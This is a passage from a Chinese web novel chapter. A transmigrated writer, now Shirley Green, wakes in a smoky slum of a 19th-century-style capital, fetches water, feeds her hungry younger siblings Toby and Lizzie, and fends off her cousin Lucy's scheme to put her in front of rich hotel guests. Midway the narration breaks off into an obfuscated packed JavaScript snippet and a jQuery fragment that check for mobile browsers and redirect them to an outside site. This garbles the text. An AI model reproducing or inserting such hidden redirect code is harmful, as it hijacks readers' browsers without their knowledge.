“诶……”
雪莉·格林顶着两个大大的黑眼圈从床上坐起。
这是她穿越过来的第二天。
她本是个三流狗血网文写手,为了赚那点窝囊费日更两万,结果熬夜拼命码字猝死了。
眼睛一睁,她就变成了异世的雪莉·格林。
她闭上眼睛,又睁开,反复几次,还是死心了。
算了。
来都来了。
接受现实后,雪莉终于掀开被子准备下床。
“姐姐……”
旁边一团小小的东西动了动。
6岁的莉齐眼睛半睁半闭着,手指本能地攥住了姐姐的衣角。
“姐姐,我好饿。”
雪莉心想,我也好饿,她伸手rua了下妹妹细软枯黄的头发,透过昏暗的光线看着她营养不良的小脸。
这个世界的年代类似于她前世的19世纪,她所在的国家名为奥斯特利亚王国。
原主父母是乡下农场主的雇农。
他们一共生了三个孩子,分别是16岁的原主雪莉,8岁的托比和6岁的妹妹莉齐。
不久前原主父亲伊莱帮乡绅修补屋顶摔断了腿,伤口感染高烧去世了,没过几天,他们的母亲玛莎也积劳成疾去世。
他们家就是乡下最底层的雇工家庭,无土地,无房产,无积蓄,父母接连去世后,他们家的房屋也被雇主收回,原主与弟妹就被赶出了农场。
没办法,原主只能带着弟妹去投奔家住首都的舅妈。
原主心心念念投奔舅妈,想找个城里的有钱人嫁出去,结果她带着弟妹千辛万苦跋山涉水来到舅妈家,却发现舅妈一家居然也穷得快活不下去了。
因为希望破灭,再加上生活压力,原主居然在当天夜里就高热没了,然后,接手这个烂摊子的人就变成了她这个穿越过来的倒霉鬼。
这时睡在雪莉另一边的托比也醒了。
他没说话,只是呆呆的,用灰绿色的眼睛看着姐姐。
原本托比是个很活泼的孩子,父母接连去世后,他就沉默了许多,大概是怕被姐姐抛弃。
雪莉捶了捶自己酸疼的背,下了楼:“你们乖乖待着,我去给你们找吃的。”
她下了楼就看到表姐露西正用一根烧过的火柴棍描眉毛,她衣服已经换好了,棕色的头发也盘得一丝不苟,露出一截细瘦的脖子。
见雪莉下楼,露西瞥了她一眼。
“啧。”
看见雪莉眼眶周围的黑眼圈,露西翻了个白眼。
“我去打水。”
雪莉看了一眼炉子,家里的炉子是铁的,不大,旁边堆着半袋粗面粉、几颗土豆。
她昨天就看过了,这点东西六个人吃撑不过三天。
露西描完眉毛,又拿出一截旧口红。
这是露西不知道从哪儿淘来的便宜货,她在嘴唇上轻轻点了点,然后用指腹晕开。
做完这一切,露西转过身靠在门框上,双臂抱胸看着雪莉。
“你倒是勤快。”
他们家是没有水龙头的,不论是洗衣做饭,都要去外面的街口水泵打水。
因为附近的人家都没有水龙头,导致每次打水都很麻烦。
他们这就连厕所也是公用的旱厕。
打死雪莉都想不到,自己居然年纪轻轻就猝死,穿越到这里来过这种苦日子。
“我会尽快找到工作,不会白吃饭的。”
寄人篱下,还带了俩拖油瓶,雪莉可不敢得罪露西,万一被赶出去,她就要带着弟妹当流氓了。
见雪莉一脸老实相,露西却还是很不高兴。
她盯着雪莉看了好一会儿。
“你过来。”
雪莉提着桶站在门口,纠结了一下,没有动,这便宜表姐不会嫌她白吃饭要打她吧?
露西不耐烦的走到雪莉面前,一把捏住她的下巴,把她的脸扳到光线底下。
雪莉被她捏得有点疼,但没有挣开。
还是那句话,人在屋檐下。
“你长得倒是不错。”露西端详着雪莉,像在审视一件待售的货物,“就是这皮肤……”
她伸手在雪莉脸颊上蹭了一下。
雪莉:“?”
露西笑了:“你这张脸收拾收拾,比码头那些卖笑的女人强,你听我说……”
她垂头,凑近雪莉耳边:“我工作的那个旅馆来来往往的人很多,你跟我去先做洗衣工,慢慢找机会,万一被哪个有钱的客人看上了……”
雪莉面无表情:“那我就死定了。”
“雪莉·格林!”
露西生气的蹙紧眉,还想再说什么,雪莉已经提桶跑路。
雪莉出了家门,正对的就是鼠尾巷。
这巷子狭窄逼仄,两侧是连片的低矮砖石排屋,排屋的墙面被煤烟熏得发黑,这里还几乎见不到阳光。
地面则铺着凹凸不平的鹅卵石。
因为巷子里没有独立水源,所以雪莉想打水,就要去街口的公共水泵。
雪莉提着桶走出巷子,一股煤烟味便扑面而来。
这时天还没彻底亮透,但巷子里已经有很多人出门了,他们都穿得灰扑扑的,几乎都在往同一个方向走。
脸上也脏兮兮的。
巷子两边的房子,窗框,就连窗帘都被熏黑了,巷口还堆着垃圾,烂菜叶、碎煤渣。
雪莉抬头往巷子口看去,可以看见远处立着几根大烟囱,那大烟囱正在往天上吐烟,黄灰色的浓烟一团一团地往上涌,把天空都糊得脏兮兮的。
让人看着就心情阴郁。
这里是王国首都维兰瑟位于白雀区的贫民区,居住的一般都是底层工人,居住环境自然不怎么样。
原本舅妈一家不住这儿。
原主舅舅年轻时来维兰瑟打工,后来他跟舅妈结婚就留在了维兰瑟,然而天有不测风云,原主舅舅结婚才五年就因工伤去世了,黑心的工厂主还没赔什么钱。
之后舅妈要一人独自拉扯一双儿女,于是舅妈家就搬到了这里,租下了现在这两层窄小的排屋。
雪莉沉默着继续往前走。
水泵前已经排了三个人,她站到队尾,把桶放在脚边。
排在她前面的一个女人回过头来看了她一眼,这女人四十来岁,颧骨很高,脸颊凹下去,她看人的目光冰冷而麻木。
雪莉安静地排队等着,周围的机器声、脚步声、远处有人在喊什么的声音不停钻入她耳中。
没几分钟,她身后便又来了几个人。
轮到雪莉的时候,她压下水泵手柄,接了大半桶,拎起来的时候手腕一沉。
还好这身体不是她的,不然她绝对半桶水都提不动,可不要高看网文写手上个三层楼都能喘成死狗的体力。
雪莉提着半桶水呼哧呼哧回到家的时候,露西已经上班去了。
她不由得松了口气。
雪莉把水倒进灶台上的铁锅里。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484595|201931||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
炉膛里还有昨天剩下的煤灰,她拨了拨,找到几块没烧尽的煤渣,又撕了张旧报纸塞进去,划了根火柴。
火苗蹿起来,舔着锅底。
雪莉从柜子里翻出条她一路带过来的黑面包,这玩意说是面包,其实就是黑麦麸皮压成的砖头,硬得能砸死人。
昨天她咬了一口,差点把牙崩了。
雪莉拿刀切了三片,把面包片放进碗里,从锅里舀了半碗热水浇上去,用勺子按了按。
麸皮吸了水,慢慢软下来,变成一坨灰褐色的糊状物。
“下来吃饭了。”
雪莉仰头朝楼上喊了一声。
楼梯立刻咚咚咚地响。
莉齐先冲下来,她光着脚,辫子都散了一根。
小姑娘踮着脚趴到桌边,眼睛盯着碗里的东西:“姐姐,这是什么?”
“早饭。”
托比跟在后面,他走得不快,好一会儿才在桌边坐下。
雪莉把碗推到两个孩子中间,又从柜子里翻出两只缺口的小碗,各分了一半。
“慢慢吃,烫。”
莉齐已经舀了一勺塞进嘴里,烫得嘶了一声,但没吐出来,她鼓着腮帮子呼呼地吐舌头。
托比吃得慢。
他用勺子把碗里的糊糊搅了搅,确定不烫了才往嘴里送。
雪莉就坐在旁边,没吃。
莉齐吃到一半抬起头,嘴角还沾着黑糊糊的渣:“姐姐不吃吗?”
“我不饿。”
莉齐看了她一眼,低头继续吃。
托比却看向雪莉,停下了吃东西的动作,雪莉见了笑着道:“你不吃饱饭,怎么帮姐姐干活?”
说着,雪莉打量了一下屋内逼仄的环境。
他们住的这排屋一层为客厅兼厨房,二楼为卧室。
本来二楼的小卧室住着舅妈跟表姐露西已经转不开身了,表哥本都要在客厅搭个木板当床睡。
原主带着弟妹来了后,也只能跟舅妈表姐挤在二楼的小卧室。
这下可好了,一张小床愣是挤成了沙丁鱼罐头,身都翻不了,还只能横着睡,大人的腿都只能半挂在外面。
屋子还阴暗潮湿,墙黑乎乎的,连窗户都没有。
一楼倒是有个窗户,但窗户却很小,仅能用来透气,煤烟味重。
看来她必须得尽快赚钱,带着托比和莉齐搬走。
想着,雪莉看向莉齐:“莉齐跟托比在家好好呆着,姐姐出去逛逛,看看能不能找到合适的工作,好不好?”
莉齐有些害怕:“不能带着莉齐一起去吗?”
托比擦了擦嘴,认真地看向雪莉,小大人似的:“我会照顾好莉齐的。”
说着他又看向妹妹:“你要听话。”
莉齐顿时垂下小脑袋,不敢缠着雪莉了:“哦,莉齐知道了。”
雪莉也看向莉齐:“姐姐待会儿带香香软软的面包回来给莉齐吃好不好?”
莉齐立刻抬头看向雪莉,小脸上绽开一个灿烂的笑。
托比立刻蹙起了小眉头,他张了张嘴巴,却什么都没说,雪莉没再跟弟妹多说什么,上楼换了身衣服,戴了顶帽子,打扮得像个男孩子似的下了楼。
临出门前,她还用露西刚才用过的火柴棍点了许多雀斑。
托比跟莉齐睁大眼睛看着雪莉,不明白她这么做是为什么,却也只是乖乖的缩成一团看着她。
雪莉笑着冲俩人挥了挥手:“放心,我很快就回来了。”